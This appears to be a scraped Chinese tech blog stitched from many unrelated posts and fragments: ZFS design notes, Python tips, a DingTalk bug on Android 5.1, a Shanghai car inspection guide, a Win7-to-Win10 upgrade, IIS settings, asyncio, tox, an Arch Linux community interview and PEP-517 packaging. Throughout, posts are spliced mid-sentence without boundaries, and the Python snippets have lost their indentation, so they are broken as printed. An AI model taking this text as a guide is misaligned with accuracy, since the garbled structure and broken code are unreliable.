中介紹了很多在最初實現 ZPL 過程中的坎坷, ZPL 的困難之處在於需要兼容現有應用程序對傳統文件系統
API 的使用方式,所以他們需要大量兼容性測試。視頻中講到非常有意思的一件事是, ZFS
在設計時不想重複 Solaris UFS 設計中的很多缺陷,於是實現 VFS API 時有諸多取捨和再設計。
其中他們遇到了
VOP_RWLOCK
,這個是 UFS 提供的文件級別讀寫鎖。對一些應用尤其是
NFS 而言,文件讀寫鎖能保證應用層的一致性,而對另一些應用比如數據庫而言,
文件鎖的粒度太大造成了性能問題。在設計 ZPL 的時候他們不想在 ZFS 中提供
VOP_RWLOCK
,這讓 NFS 開發者們很難辦(要記得 NFS 也是 Solaris 對 Unix 世界貢獻的一大發明)。
最終 ZFS 把 DMU 的內部細節也暴露給了 NFS ,讓 NFS 基於 DMU 的對象創建時間( TXG id
)而不是文件鎖來保證 NFS 的一致性。結果是現在 ZFS 中也有照顧 NFS 的代碼,後來也加入了
Samba/CIFS 的支持,從而在 ZFS 上設置 NFS export 時是通過 ZFS 的機制而非系統原生的 NFS
export 機制。
user_input = "This\nstring has\tsome whitespaces...\r\n"
character_map = {
ord('\n') : ' ',
ord('\t') : ' ',
ord('\r') : None
}
user_input.translate(character_map) # This string has some whitespaces... "
unicodedata
库及其 combining() 函数,来生成更大的重映射表(remapping table),并用它来删除字符串中所有的重音。import itertools
s = itertools.islice(range(50), 10, 20) # <itertools.islice object at 0x7f70fab88138>
for val in s:
...
itertools.islice
,我们可以创建一个 islice 对象,该对象是一个迭代器,可以生成我们所需的内容。但是这有个重要的提醒,即它会消耗掉切片前以及切片对象 islice 中的所有元素。string_from_file = """
// Author: ...
// License: ...
//
// Date: ...
Actual content...
"""
import itertools
for line in itertools.dropwhile(lambda line:line.startswith("//"), string_from_file.split("\n")):
print(line)
def test(*, a, b):
pass
test("value for a", "value for b") # TypeError: test() takes 0 positional arguments...
test(a="value", b="value 2") # Works...
class Connection:
def __init__(self):
...
def __enter__(self):
# Initialize connection...
def __exit__(self, type, value, traceback):
# Close connection...
with Connection() as c:
# __enter__() executes
...
# conn.__exit__() executes
from contextlib import contextmanager
@contextmanager
def tag(name):
print(f"<{name}>")
yield
print(f"</{name}>")
with tag("h1"):
print("This is Title.")
class Person:
__slots__ = ["first_name", "last_name", "phone"]
def __init__(self, first_name, last_name, phone):
self.first_name = first_name
self.last_name = last_name
self.phone = phone
import signal
import resource
import os
# To Limit CPU time
def time_exceeded(signo, frame):
print("CPU exceeded...")
raise SystemExit(1)
def set_max_runtime(seconds):
# Install the signal handler and set a resource limit
soft, hard = resource.getrlimit(resource.RLIMIT_CPU)
resource.setrlimit(resource.RLIMIT_CPU, (seconds, hard))
signal.signal(signal.SIGXCPU, time_exceeded)
# To limit memory usage
def set_max_memory(size):
soft, hard = resource.getrlimit(resource.RLIMIT_AS)
resource.setrlimit(resource.RLIMIT_AS, (size, hard))
setrlimit
和获取的硬限制对其进行设置。def foo():
pass
def bar():
pass
__all__ = ["bar"]
from some_module import *
在使用时可以导入的内容。对于以上示例,通配导入时只会导入 bar。此外,我们可以将__all__ 设为空,令其无法导出任何东西,并且在使用通配符方式从此模块中导入时,将引发 AttributeError。functools.total_ordering
可救场:from functools import total_ordering
@total_ordering
class Number:
def __init__(self, value):
self.value = value
def __lt__(self, other):
return self.value < other.value
def __eq__(self, other):
return self.value == other.value
print(Number(20) > Number(3))
print(Number(1) < Number(5))
print(Number(15) >= Number(15))
print(Number(10) <= Number(2))
# ID First Name Last Name
line_record = "2 John Smith"
ID = slice(0, 8)
FIRST_NAME = slice(9, 21)
LAST_NAME = slice(22, 27)
name = f"{line_record[FIRST_NAME].strip()} {line_record[LAST_NAME].strip()}"
# name == "John Smith"
import getpass
user = getpass.getuser()
password = getpass.getpass()
# Do Stuff...
import difflib
difflib.get_close_matches('appel', ['ape', 'apple', 'peach', 'puppy'], n=2)
# returns ['apple', 'ape']
import ipaddress
net = ipaddress.ip_network('74.125.227.0/29') # Works for IPv6 too
# IPv4Network('74.125.227.0/29')
for addr in net:
print(addr)
# 74.125.227.0
# 74.125.227.1
# 74.125.227.2
# 74.125.227.3
# ...
ip = ipaddress.ip_address("74.125.227.3")
ip in net
# True
ip = ipaddress.ip_address("74.125.227.12")
ip in net
# False
python3.8 -i
运行你的程序——一旦你的程序终止了, -i 会启动交互式 shell,在那你可以查看所有的变量和调用函数。整洁,但是使用实际的调试器(pdb )会如何呢?让我们用以下程序(script.py ):def func():
return 0 / 0
func()
python3.8 -i script.py
运行脚本:# Script crashes...
Traceback (most recent call last):
File "script.py", line 4, in <module>
func()
File "script.py", line 2, in func
return 0 / 0
ZeroDivisionError: division by zero
>>> import pdb
>>> pdb.pm() # Post-mortem debugger
> script.py(2)func()
-> return 0 / 0
(Pdb)
def func():
breakpoint() # import pdb; pdb.set_trace()
return 0 / 0
func()
script.py(3)func()
-> return 0 / 0
(Pdb) # we start here
(Pdb) step
ZeroDivisionError: division by zero
> script.py(3)func()
-> return 0 / 0
(Pdb)
import datetime
class Date:
def __init__(self, year, month, day):
self.year = year
self.month = month
self.day = day
@classmethod
def today(cls):
t = datetime.datetime.now()
return cls(t.year, t.month, t.day)
d = Date.today()
print(f"{d.day}/{d.month}/{d.year}")
# 14/9/2019
*args
、**kwargs
和一堆 if 语句,而不是使用类方法来解决。那可能行得通,但是却变得难以阅读和维护。lru_cache
:from functools import lru_cache
import requests
@lru_cache(maxsize=32)
def get_with_cache(url):
try:
r = requests.get(url)
return r.text
except:
return "Not Found"
for url in ["https://google.com/",
"https://martinheinz.dev/",
"https://reddit.com/",
"https://google.com/",
"https://dev.to/martinheinz",
"https://google.com/"]:
get_with_cache(url)
print(get_with_cache.cache_info())
# CacheInfo(hits=2, misses=4, maxsize=32, currsize=4)
from collections import Counter
cheese = ["gouda", "brie", "feta", "cream cheese", "feta", "cheddar",
"parmesan", "parmesan", "cheddar", "mozzarella", "cheddar", "gouda",
"parmesan", "camembert", "emmental", "camembert", "parmesan"]
cheese_count = Counter(cheese)
print(cheese_count.most_common(3))
# Prints: [('parmesan', 4), ('cheddar', 3), ('gouda', 2)]
print(cheese_count["mozzarella"])
# Prints: 1
cheese_count["mozzarella"] += 1
print(cheese_count["mozzarella"])
# Prints: 2
水文一篇做个记录,给遇到相同问题的小伙伴提个醒免得走弯路。事情是这样的,我们公司自建了两个钉钉内部应用,一个微应用,一个E应用。之前相关功能都只开放给办公室使用,最近车间上线了一部分功能,权限开放给了一线操作工。 这一开就开出问题来了。问题也很简单,车间一位同事的手机可以正常进入无需授权的页面,但只要进入授权功能就会报错。错误也简单就是无法连接服务器,百思不得其小姐姐,丢。
起初是小程序开发小组最先遇到的问题,E应用应该是打开调免登接口,然后去请求E应用内的对用功能的权限。部分手机直接提示找不到主机。而开发小组测试全部正常,然后去排查了一下前端免登接口数据,能拉取到用户信息,正常。然后调试了请求服务器权限的接口,也是一切正常。这特么就奇怪了。因为架构上我们把钉钉内的成员信息在自己的服务器上重建了一遍,所以查数据库的时候偶然发现无法请求服务器的人员信息在自己的服务器上竟然没有写入,也就是说免登以后没写用户信息,想想也对,请求不到服务器,必然也写不了信息。
只好继续去查源码,前端,后端都查了一遍,无果,新加个账号也正常。没办法了只能去微应用里面去看看能不能找出蛛丝马迹。结果开发小组的手机也都正常,然后就去用了打开异常的同事的手机,结果微应用无需授权的静态页能打开,鉴权的页面都打不开。最后没查到原因,所以暂时放了一下。上次出差浙江工厂,那边也有两个同事的手机无法访问。其中一位同事的手机比较老旧,所以怀疑是钉钉版本太低,升级钉钉版本后还是无法打开。就怀疑是手机的问题了,去检查了下钉钉的权限,顺道去看了下手机版本,发现安卓版本是5.1的。两个手机都是5.1的版本。出差回来后果断看了下上海这台手机,也是安卓5.1的。问题就比较明朗了,遂告知这几位同事,相关功能暂不要操作。
继续尝试相关办法不得而终,在网上也没有找到有效的解决方案,只好发钉钉工单去咨询了下钉钉官方,钉钉官方的回答是需要安卓7.0版以上才能正常使用钉钉的部分功能。这对我们开发层面其实已经无解了,试图分析一下原因,有可能是SSL证书拦截的问题。所以这里分享下,碰到类似问题不要走弯路了,直接升级手机安卓系统就好。
说了太多的时间飞快了,这不又到年底,车子又该年审了,自去年第一次上检测线检测,所以对检测流程还是非常了解了,上篇:《在上海外地牌照车辆异地年检流程》文章在百度里面搜索量也巨大,这篇也成了我这小博客第四大阅读量的文章。而2019年5月1日开始汽车年审政策有变动,所以一以贯之,再记录一篇以供需要的人参考。
1、去检测前先自行检查下车辆的灯光,主要是转向灯,刹车灯,远近光灯有没有不亮的情况(卤素灯泡)。LED灯珠有没有部分损坏的。
2、自行检查下刹车是否灵敏,急刹是否可靠。
3、查找就近的检车站。百度地图搜索:机动车检测,地图上的红点都是,找就近的。(左侧搜索结果前面的有可能是广告,那种代办的黄牛公司,注意辨别)。上海一般都会冠以第几第几检测站。
4、下载12123APP查询下车辆是否有违章,查询地建议选择车辆归属地,这样能查到全国范围内的违章信息。
1、有效期内的交强险副本原件。
2、机动车行驶证原件。
3、安全警示三角架。
有的车辆保险购买的时候没有代缴车船税,所以为了以防万一,去国税把车船税缴纳以后拿着完税证明去检测。上海不需要,但不保证每个地方都不需要这个东西。看交强险保单上面,代缴车船税是不是0元。
如果上述都准备好了,就可以去检测站了。由于2019年我又搬了家,苦逼穷逼的魔漂没办法。所以又得找下就近的检测站,百度了一下,找到了一个离我办公点比较检测站,距离2公里,且规模比较大,不像去年去的那个那么小。上海鹿亭机动车检测有限公司,在松江施惠路上。
今天一早送女儿上本学期最后一天学,请了一天假,一早火速赶往检测站,到了地方看到停车场有登记处,找个位置停下,还没等我开口,就有检测站工作人员来登记信息了。把钥匙留在车上,不留贵重用品在车上,把三角架放中控台,拿出交强险副本原件和行驶证原件,登记好带着登记单去大厅2号窗口登记。
登记完成在1号窗口缴费,缴费窗口支持现金、支付宝、微信、刷卡。小型汽车检测费370块钱,去年是250,因自2019年5月开始增加了OBD检测,所以费用增加了。交完费在大厅等就可以了,5号窗口会通知的。
这个检测站比去年的那个检测站要大,也更规范,去年还需要自己开车到尾气检测线上去,这个只需要在停车场停车就行,然后就在大厅等,大厅有监控大屏可供查看。检测信息也会显示在大屏上。所有项目检测完成后,等检测站将数据远程传输到车管所,车管所审批通过过,检测站就打标了,签个字,拿到对应的检测报告和年检车贴,就去停车场找车就好了。
检测站早上8点上班,我7点55到达的,全部办好出来,7点35分,耗时40分钟,远比去年快的都。一是年底,二是工作日一早,所以车少,我排第5个,而他们有6条以上的检测线,所以等于是早上第一个就完成了。
最后再强调一下,现在也都很规范,特别是魔都这样的一线城市,所以千万不要去找黄牛,千万不要去找黄牛,千万不要去找黄牛,重要的事情说三遍。还有千万不要去找那种外牌年检代办的公司,那只是有执照的黄牛,无任何意义。
今年是恰好是2020年1月14日,微软早前宣布的自今日起不再为win7提供安全更新。win7应该是自winXP以来最受欢迎的操作系统了吧,并且至今占据着相当大的市场份额。微软曾在刚开始推广win10的时候,有一波免费从win7升级到win10的骚操作。那时候即便你的win7是盗版的也能在升级后变成正版win10。而自今天以后,没有安全更新的win7可以给你一个更换win10的理由了吗?其实win10个人还觉的不错吧。那磁贴功能我曾在NOKIA920享受过很久,只是在电脑显示器上,这大磁贴改叫大磁砖吧,确实有点槑。
不想重装系统,现在还能从win7升级到win10吗?当然有。
首先去微软官网下载“易升”工具。链接就不放了,翻一下就能找到。当然我直接放个压缩包在这里了,点击这里。
双击打开这个工具,就会弹出windows10的下载界面。下载完成后,会跳出许可条款,如图一图二。
同意后选择保留文件和配置就能直接升级了,然后坐等升级成功即可。对了,保留文件,你桌面和C盘的东西无需备份,丢不了。如果重要文件,备不备份你看着办咯。
升级完成以后,如果不喜欢那开始菜单可以试试电脑管家的经典windows菜单功能。还有些系统自带的你不喜欢的软件该删的删掉,完事,水完了,撤!
用了这么多年的亚马逊,虽然只在上面买过极少的东西,最近几年以买 kindle 电子书为主,但是一直没有弄懂它的“立即购买”和“一键下单”有什么区别, 因为两个按钮点进去看起来都是一样的。
直到今天,都 9102 年的下一年了,我终于搞明白了它们的区别,因为我今天心血来潮, 在亚马逊上绑定了信用卡。
一键下单就是直接使用绑定的信用卡(储蓄卡估计也可以)下单付款,没有任何进一步确认。
不得不吐槽一下,亚马逊购物退出中国是必然的,太难用,不好用都谈不上。
最近又一好几年前的客户网站因单位内部机房管理,老的windows server 2003服务器直接升级到win server 2019了。IIS直接大跃进到10.0的版本,导致运行好好的网站被中断无法打开了,没办法,就远程看了下具体情况,还好,此处是别慌,稳住,问题不大三连。所以很快把一起从XP升级WIN7的时候,配置IIS6的笔记翻出来,简单操作一下就搞定。
错误信息:An error occurred on the server when processing the URL. Please contact the system administrator.If you are the system administrator please click here to find out more about this error.
这个问题首先是程序肯定有错,报错了,但是报错信息不显示,虽然你在浏览器设置里面取消了友好显示错误信息的选项,IIS将错误信息屏蔽了。解决方法也很简单。以管理员身份运行CMD,cd命令读到windows\system32\inetsrv\目录下。执行命令:
appcmd set config -section:asp -scripterrorsenttobrowser:true
系统提示应用了更改就表示成功了。此刻去刷新你的页面就能看到具体的错误了。
运行程序报这个错,一般都是64位系统运行32位程序没开启兼容造成的。方法也简单。使用命令操作或者IIS配置的图形界面操作均可。
使用命令操作,以管理员身份运行CMD,cd命令读到C:\inetpub\AdminScripts目录下(windows server 2019没这个目录,请按下面说的图形界面操作。),执行命令:
cscript.exe adsutil.vbs set W3SVC/AppPools/Enable32BitAppOnWin64 true
提示成功即可。如果采用IIS配置操作,进入控制面板,管理工具,IIS管理器,找到对应站点的应用程序池,双击打开,启用32位应用程序,选择True即可。如下图所示。
有的时候对应站点程序池改了不生效,有可能是站点配置使用了默认程序池,可以建议把默认程序池也给改了。
from asyncio import start_server, run
async def on_client_connected(reader, writer):
while True:
data = await reader.readline()
if not data:
break
writer.write(data)
async def server():
srv = await start_server(on_client_connected, '127.0.0.1', 8888)
async with srv:
await srv.serve_forever()
run(server())
writer.write(data)
await writer.drain()
from asyncio.sync import Semaphore
semaphore = Semaphore(200)
async def handle_request(request):
await semaphore.acquire()
try:
return generate_response(request)
finally:
semaphore.release()
from hypothetical_asyncio.sync import Semaphore, Service
semaphore = Semaphore(200)
class RequestHandlerService(Service):
async def handle(self, request):
await semaphore.acquire()
try:
return generate_response(request)
finally:
semaphore.release()
@property
def is_ready(self):
return semaphore.tokens_available()
response = await handle_request(request)
request_handler = RequestHandlerService()
if not request_handler.is_ready:
response = Response(status_code=503)
else:
response = await request_handler.handle(request)
for
loop so much faster to count True values? - [53/5]board[x, y\]
and board[x][y]
in Python? - [47/6]arr = ["a", "b", "c", "d"]
print(arr[~0]) # d
print(arr[~1]) # c
((x == a and y == b) or (x == b and y == a))
这个形式的结果?Command line driven CI frontend and development task automation tool
命令行驱动的 CI 前端和开发任务自动化工具
pip install tox
安装,使用tox
运行全部测试环境,和tox -e envname
运行指定的环境。还有不少的命令行参数,通过tox -h
查看。pyproject.toml
tox.ini
setup.cfg
os.environ['KEY']
。可以变化成:{env:KEY:DEFAULTVALUE},在取不到环境变量时则使用默认值;{env:KEY:{env:DEFAULT_OF_KEY}},达到 if-else 的取值效果tox arg1 arg2
传两个参,或者tox -- --opt1 arg1
将“— opt1 arg1”作为整体传入。[tox]
envlist = {py27,py36}-django{15,16}
pip search tox
,可以看到数量众多的“tox-”开头的库,它们都是 tox 的插件包。其中不乏 setuptools、pipenv、conda、travis、pytest、docker 等被大家熟知的名字。nox
,使用 Python 文件来做配置。这个项目也很受欢迎,吸引了很多项目投入其门下,例如 pipx、urllib3、Salt 等等。对该项目感兴趣的话,请查看:https://nox.thea.codes/en/stable/很抱歉萌狼很早就提過交換問題的事,被我一直咕咕了許久。 拖延症晚期有藥麼
介紹自己啊。 寫了刪刪了寫,不知道該介紹點啥 就說點自己的興趣?
喜歡自由開源軟件,喜歡 Arch Linux 。喜歡這些倒不是出於 RMS 和 FSF 那樣道義上的原因, 我覺得商業軟件公司要賺錢吃飯也是無可厚非的。
喜歡自由軟件是因爲,當我需要知道它到底怎麼工作的時候,有可能去挖代碼,必要的話能去改代碼。 當然我一個人肯定不能讀所有在用的軟件,但是我知道我有讀和修改代碼的權利的話, 那麼我認識的朋友們也同樣有這樣的權利,我不認識的廣大社區有千千萬萬的人也同樣有這樣的權利, 從而我相信當我遇到問題的時候不至於卡在某些人某些公司某些集體的決策上而無法解決。
基於這個理由,我對開源社區也同樣有公開全部細節的期待。我喜歡 Arch Linux 因爲即便它的內部決策只是一小波人,但是導致決策的討論以及決策的執行方式全是公開的,可以在網上翻閱, 可以追根溯源,這讓我有種安心感。就像我不喜歡 Manjaro 的一點是它有太多細節是翻閱不到的, 雖然它也是開源社區,但是打包細節翻閱不到,包列表翻閱不到,決策的制定和執行的過程也翻閱不到, 通常就只是在他們的論壇上發個通知了事,這我很不喜歡。
除了喜歡自由開源軟件之外,可能我在網上比較有特點的地方是用繁體字了吧, 也曾經年幼時在水木社區和別人因爲這個吵過嘴,也在 知乎上寫過篇「在知乎用繁體字是怎樣一種體驗」 。 致力於在我存在的地方爲繁體字愛好者們提供一個安逸的環境,不過好像最近也不見很多反對的聲音了。
除了網上之外,現實中的自己嘛,特點可能算是不知道自己屬於哪兒了……一個漂泊的人。 小時候8歲前在陝西長大,把自己當作陝西人,但是身邊的鄰里街坊們卻以河南人和江浙人居多。 廠辦環境,好幾個大型重工都從江浙搬到了陝西秦川一帶,加上國共內戰的時候河南黃河缺口造成的難民慌西逃, 構成了當時廠辦的主要人口拿着城市戶口,反而是當地的陝西人都是農民戶口, 於是和廠辦子弟們形成了鮮明的隔閡。我對社會主義,對蘇式廠辦,對整個國家結構的理解大概也是從那兒來的。 跟着鄰里們學會了河南話,在家裏說普通話,從老一輩們身上又學會了江浙的語調。 都說一個廠辦是一個社會的縮影,那時候的環境可能算聚集了全國東南西北的樣子吧。 8、9歲左右隨父母到了上海,因爲不會說上海話受同學們排擠,倒也不是很在意,漸漸和同學們學起了上海話, 可能還參雜點爺爺奶奶的江蘇方言。十多年後考入大學,五湖四海的同學都有,就不算是在上海了。 大學畢業來了日本,一晃又是7年過去。至此我大概比起同齡人接觸到更多全國各地的人, 也分不清自己的歸屬地了。但有一條,我知道自己是個中國人,爲自己是個中國人自豪,覺得雖在他鄉, 該爲中國做點自己的貢獻。
farseerfc 這個名字嘛,來自 firechild 這個更早的網名,和魔獸爭霸裏面 farseer 這個英雄。 farseer 本算是 Anglish ,以日耳曼語系的構詞法再造的英語詞,對應拉丁構詞法的話 far = tele , seer = visioner ,於是 farseer 也就是 tele-visioner ,看得遠的人,電視一詞 television 的原本的詞幹的衍生詞。 不過說爲什麼選 farseer 這個名字,更多是爲了符合 fc 這個縮寫,而 fc 來自 firechild 這個詞。 再深挖黑歷史也不再有什麼意義了, farseerfc 作爲網名只是一直以來的習慣吧。
近期來看,印象最深刻的可能算是起草 Arch Linux 中文社区交流群指引 吧,看得出萌狼對社區發展的熱心和好意。
再往前,印象深刻的時候可能是萌狼用 Pelican 搭博客吧,最初認識萌狼的時候覺得是 MediaWiki 方面的行家,還以爲博客也會繼續用 MediaWiki 打造,沒想到能吃了 Pelican 的安利,外加萌狼寫博文的產量着實讓人望塵莫及。
然後 ArchWiki 上 Beginner's Guide 被刪除之後,萌狼的博客多了一篇爲新人們寫的入門安裝手冊, 配有完整截圖指引,詳盡程度令人感嘆。感覺得到萌狼作爲一個「過來人」對新人們的照顧。 每次羣中鬧起爭執,老用戶們對新人發起調侃的時候,也是萌狼站出來爲新人們解圍, 幫助有能力的人適應羣裏的討論環境。或許最初寫交流羣指引的時候也是出於這樣的良苦用心吧。
最早來 Arch Linux CN 的時候,似乎萌狼還不叫萌狼?不記得那時候用的名字了。只記得來自 AOSC ,和那邊一衆談笑風聲,着實令人羨慕,經常跑他們的聚會也令人羨慕。
後來有了萌狼的名字,群裏的狼們也漸漸多了起來,一時間都分不清哪個狼是哪個了。 不過萌狼的口癖和說話方式總是在狼羣中非常有標誌性。
後來似乎發生了好多事情,我不知道的事情,也不敢妄加揣測。萌狼開始變身音遊大佬, 羣裏的別的狼們漸漸也各忙東西。不知道什麼原因,萌狼會偶爾退群,想問下前因後果, 又覺得自己不該多管閒事。不過無論萌狼退羣多少次,總是在默默關心着社區發展, 關心着新人融入社區的環境。
似乎萌狼加入了 FSF ?玩起了 Parabola ,玩起了 linux-libre 。有能跑起完全自由的發行版的設備, 這一點也非常令人羨慕。似乎有很多設備,但是似乎又很不滿於現狀。看得出萌狼爲了理想放棄了很多東西, 或許大家都是如此吧,也或許只是我多心。
還有就是萌狼用 Gnome ,感覺 AOSC 那邊很多人都用 Gnome ,給 Gnome 貢獻翻譯之類的, 萌狼或許也是其中一員。DE 黨爭是水羣久勝不衰的話題,或許我也有些責任,但是我覺得以發行版角度而言 DE 多樣性非常重要,萌狼在社區中的作用也不可或缺。
最喜歡的當然是 Arch Linux 啦,喜歡的理由前面 Q1 算是提到了一些。其實別的發行版的很多特性也很眼饞, 眼饞 Fedora Silverblue 的 A/B 更新機制,眼饞 Fedora 的 SELinux 和諸多企業級特性支援,眼饞 openSUSE 的 OBS 和 btrfs 支持,眼饞 debian 的小巧和細化打包,眼饞 NixOS 的函數式包管理, 眼饞 Gentoo 的可定製性,眼饞 Parabola / GuixSD 的完全自由。
但是總得來說, Arch Linux 提供的基礎足夠讓我折騰系統成自己喜歡的方式,足夠順手, 也在需要軟件的時候足夠自己打包使用,不需要等待某些遠在天邊的議會做決策,或許是讓我留在 Arch Linux 的原因吧(當然更大原因可能是因爲慣性)。發行版之間的技術區別可能並不那麼重要, 重要的是該幹活的時候能找到幹活的人,這一點 Arch Linux 還是有很多人在認真做事情的。 沒有繁瑣的議會投票表決,沒有細碎的打包步驟,用最快的方式把活幹了,這在我看來是最重要的。
或許有一天,幹活的人沒了,或者我想要的特殊特性因爲太複雜沒人想帶頭幹,而別的發行版有, 那時可能我會換去別的發行版吧。又或許我會自己幹,誰知道呢。
比起發行版之爭,甚至比起 Linux/Windows/macOS 的桌面系統地位之爭,可能日後更關鍵的是別的平臺 比如 Android 在手持設備甚至物聯網設備上的興起導致的 PC 桌面的衰落。雖然這些新設備大多都是跑着 Linux 的內核,但是其上的生態環境不能說像 GNU/Linux 那樣自由。這一點上,自由軟件該如何發揮優勢 爭取用戶和生態可能是更關鍵的。
當然這些都於我而言過於遙遠,一人之力難挽狂瀾……我只希望自己和朋友們所在的自由的土地能保持下去, 或許我也僅能做到這些。
說來非常慚愧,做 TU 這麼4年了,實際做的事情着實有限,只能隔幾天打打包而已。要做的事情太多, 而自己上面也說了有幹活的人最重要,設身處地深刻體會到在開源社區的諸位志願者們大家都不容易。
TU 應該做的事情,細數一下除了給 community 打包之外,還有處理包的 bug ,處理 AUR 的爭議, 測試新包給反饋,以及溝通和反饋上游。反觀自己做的事情,真的太少了。比起肥貓和其他 TU 們的辛勤, 總覺得自己不夠格。「精力有限,憑着志願者熱情」,什麼的說辭可以說很多, 但是良心上對着自己熱愛的事情卻不能百分百撲上去做,真的沒有顏面腆着臉說……
打包和溝通上游之類的心得倒是有不少,也一直想寫點筆記記錄一下,挖坑卻沒時間填上。該說, 或許應該換個本職工作了,又想,孰重孰輕哪邊是本行需要自己掂量。
不知何時起,不知萌狼經歷了什麼,有時候感覺萌狼傲嬌的性格讓人看不透,不過事後能看出萌狼都是本着好心。 或許,如果能更坦誠一些的話,也能更融入大家吧。雖然我也沒資格這麼說。
像前面寫的,隱約能感覺到萌狼似乎爲了理想放棄了很多,孰重孰輕是每個人自己的權衡。
以及還有感謝,感謝萌狼把我當作朋友,感謝萌狼的耐心。
最後還有抱歉,這篇拖了太久,是該治治我的拖延症了。
build-system
部分下介绍了打包配置,但其它工具可以自由地将其配置放在tool:name
部分下,因为它们拥有 PyPi 命名空间中的名字。各种工具立即开始利用这一点(例如Towncrier【3】、 black【4】等)。from mypy.version import __version__ as version
。这能起作用,因为当有人调用 Python 脚本时,当前的工作目录会自动被添加到 sys.path 中(因此你可以导入公开在其下的内容)。python setup.py sdist
调用构建时,产生的副作用。由于这种行为是副作用(并非保证),因此从 setup.py 导入的所有项目都应在构建开始时,将脚本文件夹显式地添加到 sys 路径。setup.py
文件的概念,并通过python setup.py
命令触发。找到这个包
下载源发行版并提取它
在提取的文件夹上运行python setup.py install
(进行构建+安装)
python setup.py sdist
生成分发包,运行python setup.py upload
上传到中央存储仓(上传命令在 2013 年被弃用了,因为有 twine【3】工具,更主要是因为 upload 使用了不安全的 HTTP 连接,而且上传命令会做一次新的构建,也就不允许最终用户在实际上传之前检测(inspect)生成的包)。python setup.py install
时,它使用 Python 解释器来安装包。因此,构建操作可以访问该解释器中已经存在的所有三方包。最值得注意的是,它完全使用了安装在主机 Python 解释器上的 setuptools 版本。如果一个包使用了 setuptools 的新版本特性,那么完成安装的唯一方法就是首先更新已安装的 setuptools。File "setup_build.py", line 99, in run
from Cython.Build import cythonize
ImportError: No module named Cython.Build
python setup.py install
现在可以:创建一个临时文件夹
创建一个隔离的(从三方库的 site packages 中)Python 环境 python -m virtualenv our_build_env
,让我们将这个 Python 可执行文件称为python_isolated
安装构建的依赖项
通过python_isolated setup.py bdist_wheel
,生成一个用于安装的 wheel
提取 wheel 到 Python 的 site packages 文件夹
cython
的包,但不必在运行的 Python 环境中实际安装cython
。指定构建依赖项的文件与方法的是pyproject.toml
元数据文件:[build-system]
requires = [
"setuptools >= 40.8.0",
"wheel >= 0.30.0",
"cython >= 0.29.4",
]
pip wheel . --no-deps
命令时,该命令会自动在后台创建一个包含构建依赖项的独立 Python,然后在该环境中调用python setup.py bdist_wheel
或python setup.py sdist
命令。setup.py
。整个生态系统仍然构建在 distutils 和 setuptools 的接口基础之上,由于试图保持向后兼容性,没法作太大的变更。理想情况下,默认选项应该是一个声明式的(declarative)构建配置,适用于 99% 的情况,再提供一个退回到命令式系统的选项,供真正需要灵活性时使用。在这情况下,如果你发现还需要选择用命令式的构建,那么我们可以认为出现了坏味道代码。
setup.py
的最大的问题是大多数人是声明式地使用它,所以当他们用命令式时,往往会将 bug 引入到构建系统。一个这样的例子:如果你有一个 Python2.7 的依赖项,你可能会试图有条件地在 setup.py 中指定 sys.version,但 sys.version 仅指的是执行构建的解释器;相反,你应该对需求项使用声明式的环境标记…
setup.cfg
接口来起带头作用,当一个 PEP-517 系统就位时,在大多数情况下,你应该选择它而不是使用 setup.py。build-backend
键值:[build-system]
requires = ["flit"]
build-backend = "flit.api:main"
import flit.api
backend = flit.api.main
# build wheel via
backend.build_wheel()
# build source distribution via
backend.build_sdist()
flit.buildapi
实现setuptools.build_meta
(后面会解释原因)poetry.masonry.api
实现pyproject.toml
,写了适当的requires
和build-backend
,你需要启用tox.ini
中的isolated_build
标志:[tox]
isolated_build = True
python setup.py sdist
命令。最近在车间做数据投屏,因为有上海和浙江两个工厂,所以是部署在云端的基于B/S架构的系统。简单点就拉了个主机当做投屏电脑用,还记得之前那篇帖子里面提到的七代的主板坑了八代的CPU的博文么,对又是它,价格低到不能低的组装机,在做投屏的时候又坑了我一把。插根HDMI高清线到大屏上,熟练的WIN+P,系统提示你的电脑不能投影到其他屏幕。请尝试重新安装驱动程序或使用其他视频卡。
第一个反应是,需要去更新下驱动,win10联网状态下直接update系统一下,或者在设备管理器里面找到显示适配器,更新下驱动,结果,显示驱动是最新的。无解。那只能是第二个系统提示原因了,难道那个赛扬G4900的集显不支持投屏,这泥煤的9102年年末了。只能去dxdiag诊断一下了。
win+r运行,输入dxdiag.exe回车,调出dxdiag诊断工具。打开后啥也不用做,等左下角进度条走完。然后点击保存所有信息。会生成一个dxdiag的文本文件。双击打开dxdiag.txt。然后光标定位到文件开始位置,ctrl+F搜索Miracast,向下查找。如果看到NotAvailable,“恭喜”你这个显卡不支持投屏。必须要换一个显卡。如果是Available, with HDCP,那不能投屏的原因肯定就不是显卡的问题了。
我的这个很显然,赛扬G4900的集显核心确实不支持,无奈只好再买一个独立显卡装上。
pip
19.0 已经于 2019 年 1 月 22 日发布。在其功能列表中,最值得注意的是它现在支持 PEP-517,默认情况下是支持的,如果项目的根目录中有一个 pyproject.toml。该 PEP 于 2015 年创建,并于 2017 年被接受。尽管 pip 花了一段时间才实现它,但该版本及其后续问题却表明,很多人根本不熟悉它。pugs
。这个库相当简单:它只生成一个名为 pugs 的包,仅包含一个名为 logic 的模块。关于 pugs,你猜对了,logic 被用于生成随机的引号。这是一个展现为源码树(source tree)的简单示例结构(可以在gaborbernat / pugs 【2】里获得):pugs-project
├── README.rst
├── setup.cfg
├── setup.py
├── LICENSE.txt
├── src
│ └── pugs
│ ├── __init__.py
│ └── logic.py
├── tests
│ ├── test_init.py
│ └── test_logic.py
├── tox.ini
└── azure-pipelines.yml
pugs
包在用户机器的解释器上能用,意味着什么?在理想情况下,一旦启动解释器,用户应该能够 import 它,并调用其中的函数:业务逻辑代码(src 文件夹中的内容)
测试代码(tests 文件夹和 tox.ini)
包代码和元数据(setup.py、setup.cfg、LICENSE.txt、README.rst—请注意,我们如今使用的是事实上的标准打包工具setuptools【3】)
有助于项目管理和维护的文件:
Python 3.7.2 (v3.7.2:9a3ffc0492, Dec 24 2018, 02:44:43)
[Clang 6.0 (clang-600.0.57)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> import pugs
>>> pugs.do_tell()
"An enlightened pug knows how to make the best of whatever he has to work with - A Pug's Guide to Dating - Gemma Correll"
>>> import pugs
>>> pugs
<module 'pugs' from '/Users/bernat/Library/Python/3.7/lib/python/site-packages/pugs/__init__.py'>
>>> import sys
>>> print('\n'.join(sys.path))
/Library/Frameworks/Python.framework/Versions/3.7/lib/python37.zip
/Library/Frameworks/Python.framework/Versions/3.7/lib/python3.7
